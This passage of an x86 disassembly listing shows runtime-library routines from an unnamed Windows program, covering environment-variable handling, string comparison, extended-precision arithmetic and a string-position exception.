[eax+edi+1] jmp short loc_421E27 ; --------------------------------------------------------------------------- loc_421E25: ; CODE XREF: sub_421DAE+10j ; sub_421DAE+1Cj ... xor eax, eax loc_421E27: ; CODE XREF: sub_421DAE+75j pop edi pop esi pop ebx retn sub_421DAE endp ; =============== S U B R O U T I N E ======================================= sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp ; sub_4211F1+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4CEDE0 jnb short loc_421E92 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_421E92 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421E6B and cl, 7Fh jmp short loc_421E78 ; --------------------------------------------------------------------------- loc_421E6B: ; CODE XREF: sub_421E2B+39j cmp [esp+4+arg_4], 4000h jnz short loc_421E86 or cl, 80h loc_421E78: ; CODE XREF: sub_421E2B+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_421E86: ; CODE XREF: sub_421E2B+48j mov dword_4CD9B4, 16h jmp short loc_421E9C ; --------------------------------------------------------------------------- loc_421E92: ; CODE XREF: sub_421E2B+Bj ; sub_421E2B+27j mov dword_4CD9B4, 9 loc_421E9C: ; CODE XREF: sub_421E2B+65j or eax, 0FFFFFFFFh pop esi retn sub_421E2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p ; sub_4220C1+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4220A1 cmp cx, 7FFFh jnb loc_4220A1 cmp dx, 0BFFDh ja loc_4220A1 cmp dx, 3FBFh ja short loc_421F0A xor eax, eax jmp short loc_421F44 ; --------------------------------------------------------------------------- loc_421F0A: ; CODE XREF: sub_421EA1+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_421F2C inc [ebp+arg_0] test [esi+8], edx jnz short loc_421F2C xor eax, eax cmp [esi+4], eax jnz short loc_421F2E cmp [esi], eax jnz short loc_421F2E jmp loc_42209B ; --------------------------------------------------------------------------- loc_421F2C: ; CODE XREF: sub_421EA1+71j ; sub_421EA1+79j xor eax, eax loc_421F2E: ; CODE XREF: sub_421EA1+80j ; sub_421EA1+84j cmp cx, ax jnz short loc_421F51 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_421F51 cmp [ebx+4], eax jnz short loc_421F51 cmp [ebx], eax jnz short loc_421F51 loc_421F44: ; CODE XREF: sub_421EA1+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4220BC ; --------------------------------------------------------------------------- loc_421F51: ; CODE XREF: sub_421EA1+90j ; sub_421EA1+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_421F61: ; CODE XREF: sub_421EA1+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_421FB5 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_421F7D: ; CODE XREF: sub_421EA1+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_421337 add esp, 0Ch test eax, eax jz short loc_421FA8 mov eax, [ebp+var_4] inc word ptr [eax] loc_421FA8: ; CODE XREF: sub_421EA1+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_421F7D loc_421FB5: ; CODE XREF: sub_421EA1+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421F61 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421FF8 loc_421FD3: ; CODE XREF: sub_421EA1+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_421FF1 lea eax, [ebp+var_24] push eax call sub_4213B6 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_421FD3 loc_421FF1: ; CODE XREF: sub_421EA1+136j cmp word ptr [ebp+arg_0], 0 jg short loc_422031 loc_421FF8: ; CODE XREF: sub_421EA1+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_422031 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_422011: ; CODE XREF: sub_421EA1+184j test byte ptr [ebp+var_24], 1 jz short loc_42201A inc [ebp+var_14] loc_42201A: ; CODE XREF: sub_421EA1+174j lea eax, [ebp+var_24] push eax call sub_4213E4 dec ebx pop ecx jnz short loc_422011 cmp [ebp+var_14], 0 jz short loc_422031 or byte ptr [ebp+var_24], 1 loc_422031: ; CODE XREF: sub_421EA1+155j ; sub_421EA1+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_422048 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42207D loc_422048: ; CODE XREF: sub_421EA1+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_42207A and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_422075 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42206F inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42206F: ; CODE XREF: sub_421EA1+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_422075: ; CODE XREF: sub_421EA1+1B5j inc [ebp+var_20+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42207A: ; CODE XREF: sub_421EA1+1ABj inc [ebp+var_24+2] loc_42207D: ; CODE XREF: sub_421EA1+1A5j ; sub_421EA1+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4220A1 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42209B: ; CODE XREF: sub_421EA1+86j mov [esi+0Ah], ax jmp short loc_4220BC ; --------------------------------------------------------------------------- loc_4220A1: ; CODE XREF: sub_421EA1+42j ; sub_421EA1+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4220BC: ; CODE XREF: sub_421EA1+ABj ; sub_421EA1+1FEj pop edi pop esi pop ebx leave retn sub_421EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p ; sub_4219A9+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_436760 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_42213A jge short loc_4220E9 mov eax, [ebp+arg_4] mov ebx, offset dword_4368C0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4220E9: ; CODE XREF: sub_4220C1+16j cmp [ebp+arg_8], ecx jnz short loc_4220F4 mov eax, [ebp+arg_0] mov [eax], cx loc_4220F4: ; CODE XREF: sub_4220C1+2Bj cmp [ebp+arg_4], ecx jz short loc_42213A push esi push edi loc_4220FB: ; CODE XREF: sub_4220C1+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_422133 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_422126 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_422126: ; CODE XREF: sub_4220C1+57j push esi push [ebp+arg_0] call sub_421EA1 pop ecx pop ecx xor ecx, ecx loc_422133: ; CODE XREF: sub_4220C1+49j cmp [ebp+arg_4], ecx jnz short loc_4220FB pop edi pop esi loc_42213A: ; CODE XREF: sub_4220C1+14j ; sub_4220C1+36j pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep ; sub_422619+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_42214A xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42214A: ; CODE XREF: sub_42213D+7j push dword_4CEDE4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4CF004 call sub_4221EA add esp, 1Ch test eax, eax jnz short loc_422177 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_422177: ; CODE XREF: sub_42213D+31j add eax, 0FFFFFFFEh pop ebp retn sub_42213D endp ; =============== S U B R O U T I N E ======================================= sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep ; sub_422492+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4CD9E4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4221DD mov ebx, dword_424150 loc_422195: ; CODE XREF: sub_42217C+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_4221E5 push ebp call sub_417B89 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_4221E5 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_4221E5 push edi push [esp+18h+var_4] call sub_422492 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_422195 loc_4221DD: ; CODE XREF: sub_42217C+11j xor eax, eax loc_4221DF: ; CODE XREF: sub_42217C+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4221E5: ; CODE XREF: sub_42217C+29j ; sub_42217C+38j ... or eax, 0FFFFFFFFh jmp short loc_4221DF sub_42217C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221EA proc near ; CODE XREF: sub_42213D+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424C88 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4CDCA0, ebx push 1 pop edi jnz short loc_42225D push edi mov eax, offset dword_4248D8 push eax push edi push eax push ebx push ebx nop call near ptr 25E0000h test eax, eax jz short loc_42223A mov dword_4CDCA0, edi jmp short loc_42225D ; --------------------------------------------------------------------------- loc_42223A: ; CODE XREF: sub_4221EA+46j push edi mov eax, offset dword_436EF4 push eax push edi push eax push ebx push ebx nop call near ptr 25E05BAh test eax, eax jz loc_422453 mov dword_4CDCA0, 2 loc_42225D: ; CODE XREF: sub_4221EA+31j ; sub_4221EA+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_422274 push esi push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_422274: ; CODE XREF: sub_4221EA+78j cmp [ebp+arg_14], ebx jle short loc_422289 push [ebp+arg_14] push [ebp+arg_10] call sub_422467 pop ecx pop ecx mov [ebp+arg_14], eax loc_422289: ; CODE XREF: sub_4221EA+8Dj mov eax, dword_4CDCA0 cmp eax, 2 jnz short loc_4222AE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E05BAh jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_4221EA+A7j cmp eax, edi jnz loc_422453 cmp [ebp+arg_18], ebx jnz short loc_4222C3 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_4222C3: ; CODE XREF: sub_4221EA+CFj cmp esi, ebx jz short loc_4222D0 cmp [ebp+arg_14], ebx jnz loc_422368 loc_4222D0: ; CODE XREF: sub_4221EA+DBj cmp esi, [ebp+arg_14] jnz short loc_4222DD loc_4222D5: ; CODE XREF: sub_4221EA+13Cj ; sub_4221EA+16Dj push 2 loc_4222D7: ; CODE XREF: sub_4221EA+146j pop eax jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222DD: ; CODE XREF: sub_4221EA+E9j cmp [ebp+arg_14], edi jle short loc_4222E9 loc_4222E2: ; CODE XREF: sub_4221EA+151j ; sub_4221EA+159j ... mov eax, edi jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_4221EA+F6j cmp esi, edi jg short loc_42232E lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 28A138Dh nop test eax, eax jz loc_422453 cmp esi, ebx jle short loc_422332 cmp [ebp+var_3C], 2 jb short loc_42232E lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42232E loc_422314: ; CODE XREF: sub_4221EA+142j mov dl, [eax+1] cmp dl, bl jz short loc_42232E mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_422328 cmp cl, dl jbe short loc_4222D5 loc_422328: ; CODE XREF: sub_4221EA+138j inc eax inc eax cmp [eax], bl jnz short loc_422314 loc_42232E: ; CODE XREF: sub_4221EA+101j ; sub_4221EA+120j ... push 3 jmp short loc_4222D7 ; --------------------------------------------------------------------------- loc_422332: ; CODE XREF: sub_4221EA+11Aj cmp [ebp+arg_14], ebx jle short loc_422368 cmp [ebp+var_3C], 2 jb short loc_4222E2 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4222E2 loc_422345: ; CODE XREF: sub_4221EA+177j mov dl, [eax+1] cmp dl, bl jz short loc_4222E2 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42235D cmp cl, dl jbe loc_4222D5 loc_42235D: ; CODE XREF: sub_4221EA+169j inc eax inc eax cmp [eax], bl jnz short loc_422345 jmp loc_4222E2 ; --------------------------------------------------------------------------- loc_422368: ; CODE XREF: sub_4221EA+E0j ; sub_4221EA+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2650000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_422453 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4223B7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4223B7: ; CODE XREF: sub_4221EA+1B5j cmp [ebp+var_24], ebx jz loc_422453 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_424070 call esi test eax, eax jz short loc_422453 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_422453 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_422422 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_422422: ; CODE XREF: sub_4221EA+224j cmp edi, ebx jz short loc_422453 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2650000h test eax, eax jz short loc_422453 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E0000h jmp short loc_422455 ; --------------------------------------------------------------------------- loc_422453: ; CODE XREF: sub_4221EA+63j ; sub_4221EA+C6j ... xor eax, eax loc_422455: ; CODE XREF: sub_4221EA+BFj ; sub_4221EA+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221EA endp ; =============== S U B R O U T I N E ======================================= sub_422467 proc near ; CODE XREF: sub_41E709+81p ; sub_4221EA+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422484 loc_422477: ; CODE XREF: sub_422467+1Bj cmp byte ptr [eax], 0 jz short loc_422484 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422477 loc_422484: ; CODE XREF: sub_422467+Ej ; sub_422467+13j cmp byte ptr [eax], 0 pop esi jnz short loc_42248F sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_42248F: ; CODE XREF: sub_422467+21j mov eax, edx retn sub_422467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422492 proc near ; CODE XREF: sub_42217C+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4224F6 push 3Dh push [ebp+arg_0] call sub_4226D8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4224F6 cmp [ebp+arg_0], esi jz short loc_4224F6 mov eax, dword_4CD9DC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4CD9E0 jnz short loc_4224DC push eax call sub_422671 pop ecx mov dword_4CD9DC, eax loc_4224DC: ; CODE XREF: sub_422492+3Cj cmp eax, edi jnz short loc_422534 cmp [ebp+arg_4], edi jz short loc_4224FE cmp dword_4CD9E4, edi jz short loc_4224FE call sub_42217C test eax, eax jz short loc_422534 loc_4224F6: ; CODE XREF: sub_422492+Dj ; sub_422492+22j ... or eax, 0FFFFFFFFh loc_4224F9: ; CODE XREF: sub_422492+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4224FE: ; CODE XREF: sub_422492+51j ; sub_422492+59j cmp ebx, edi jnz loc_422612 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_4CD9DC, eax jz short loc_4224F6 mov [eax], edi cmp dword_4CD9E4, edi jnz short loc_422534 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_4CD9E4, eax jz short loc_4224F6 mov [eax], edi loc_422534: ; CODE XREF: sub_422492+4Cj ; sub_422492+62j ... sub esi, [ebp+arg_0] mov edi, dword_4CD9DC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_422619 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_422594 cmp dword ptr [edi], 0 jz short loc_422594 test ebx, ebx jz short loc_42258C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_417C3B pop ecx loc_422566: ; CODE XREF: sub_422492+E2j cmp dword ptr [edi], 0 jz short loc_422576 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_422566 ; --------------------------------------------------------------------------- loc_422576: ; CODE XREF: sub_422492+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41944F pop ecx test eax, eax pop ecx jz short loc_4225C6 jmp short loc_4225C1 ; --------------------------------------------------------------------------- loc_42258C: ; CODE XREF: sub_422492+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4225C6 ; --------------------------------------------------------------------------- loc_422594: ; CODE XREF: sub_422492+BDj ; sub_422492+C2j test ebx, ebx jnz short loc_422612 test esi, esi jge short loc_42259E neg esi loc_42259E: ; CODE XREF: sub_422492+108j lea eax, ds:8[esi*4] push eax push edi call sub_41944F pop ecx test eax, eax pop ecx jz loc_4224F6 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4225C1: ; CODE XREF: sub_422492+F8j mov dword_4CD9DC, eax loc_4225C6: ; CODE XREF: sub_422492+F6j ; sub_422492+100j cmp [ebp+arg_4], 0 jz short loc_422612 push [ebp+arg_0] call sub_417AB0 inc eax inc eax push eax call sub_417B89 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_422612 push [ebp+arg_0] push esi call sub_4179C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25D0151h push esi call sub_417C3B pop ecx loc_422612: ; CODE XREF: sub_422492+6Ej ; sub_422492+104j ... xor eax, eax jmp loc_4224F9 sub_422492 endp ; =============== S U B R O U T I N E ======================================= sub_422619 proc near ; CODE XREF: sub_422492+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4CD9DC push edi mov eax, [esi] test eax, eax jz short loc_422654 mov edi, [esp+8+arg_4] loc_42262B: ; CODE XREF: sub_422619+39j push edi push eax push [esp+10h+arg_0] call sub_42213D add esp, 0Ch test eax, eax jnz short loc_42264A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_422664 test al, al jz short loc_422664 loc_42264A: ; CODE XREF: sub_422619+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42262B loc_422654: ; CODE XREF: sub_422619+Cj mov eax, esi sub eax, dword_4CD9DC sar eax, 2 neg eax loc_422661: ; CODE XREF: sub_422619+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_422664: ; CODE XREF: sub_422619+2Bj ; sub_422619+2Fj mov eax, esi sub eax, dword_4CD9DC sar eax, 2 jmp short loc_422661 sub_422619 endp ; =============== S U B R O U T I N E ======================================= sub_422671 proc near ; CODE XREF: sub_422492+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_422680 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_422680: ; CODE XREF: sub_422671+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_422692 loc_422688: ; CODE XREF: sub_422671+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_422688 loc_422692: ; CODE XREF: sub_422671+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_417B89 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4226B3 push 9 call sub_419CDA pop ecx loc_4226B3: ; CODE XREF: sub_422671+38j mov eax, [edi] mov ebx, edi loc_4226B7: ; CODE XREF: sub_422671+5Bj test eax, eax jz short loc_4226CE push eax add ebx, 4 call sub_42274B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4226B7 ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_422671+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_422671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226D8 proc near ; CODE XREF: sub_422492+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4CEDFC, 0 jnz short loc_4226F3 push [ebp+arg_4] push [ebp+arg_0] call sub_418F50 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4226F3: ; CODE XREF: sub_4226D8+Aj mov ecx, [ebp+arg_0] loc_4226F6: ; CODE XREF: sub_4226D8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_422739 movzx edx, al test byte_4CEF01[edx], 4 jz short loc_422725 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_422730 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_422734 jmp short loc_42272D ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_4226D8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_422739 loc_42272D: ; CODE XREF: sub_4226D8+4Bj inc ecx jmp short loc_4226F6 ; --------------------------------------------------------------------------- loc_422730: ; CODE XREF: sub_4226D8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_422734: ; CODE XREF: sub_4226D8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_422739: ; CODE XREF: sub_4226D8+25j ; sub_4226D8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4226D8 endp ; =============== S U B R O U T I N E ======================================= sub_42274B proc near ; CODE XREF: sub_40A7D7+21p ; sub_422671+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_422772 push esi call sub_417AB0 inc eax push eax call sub_417B89 pop ecx test eax, eax pop ecx jz short loc_422772 push esi push eax call sub_4179C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_422772: ; CODE XREF: sub_42274B+7j ; sub_42274B+1Aj xor eax, eax pop esi retn sub_42274B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422780 proc near ; CODE XREF: sub_422863+19p ; sub_42298A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_417AB0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_4046A3 mov eax, esi pop esi retn 8 sub_422780 endp ; =============== S U B R O U T I N E ======================================= sub_4227AA proc near ; CODE XREF: ___:004227D5p ; sub_422858+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_404667 mov ecx, esi pop esi jmp sub_422BA6 sub_4227AA endp ; =============== S U B R O U T I N E ======================================= sub_4227C5 proc near ; DATA XREF: ___:00424CA8o ; ___:00424CB8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4227D1 mov eax, offset dword_424290 locret_4227D1: ; CODE XREF: sub_4227C5+5j retn sub_4227C5 endp ; --------------------------------------------------------------------------- loc_4227D2: ; DATA XREF: ___:off_424CA4o push esi mov esi, ecx call sub_4227AA test byte ptr [esp+8], 1 jz short loc_4227E8 push esi call sub_4182AF pop ecx loc_4227E8: ; CODE XREF: ___:004227DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4227EE proc near ; CODE XREF: sub_422863+29p mov eax, offset loc_423122 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4227EE endp ; =============== S U B R O U T I N E ======================================= sub_42283C proc near ; DATA XREF: ___:off_424CB4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422858 test [esp+4+arg_0], 1 jz short loc_422852 push esi call sub_4182AF pop ecx loc_422852: ; CODE XREF: sub_42283C+Dj mov eax, esi pop esi retn 4 sub_42283C endp ; =============== S U B R O U T I N E ======================================= sub_422858 proc near ; CODE XREF: sub_42283C+3p ; DATA XREF: ___:0042502Co mov dword ptr [ecx], offset off_424CB4 jmp sub_4227AA sub_422858 endp ; =============== S U B R O U T I N E ======================================= sub_422863 proc near ; CODE XREF: sub_404514+13p ; sub_4046D8+Ep mov eax, offset loc_423134 call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4227EE push offset dword_425028 lea eax, [ebp-3Ch] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_422863 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near 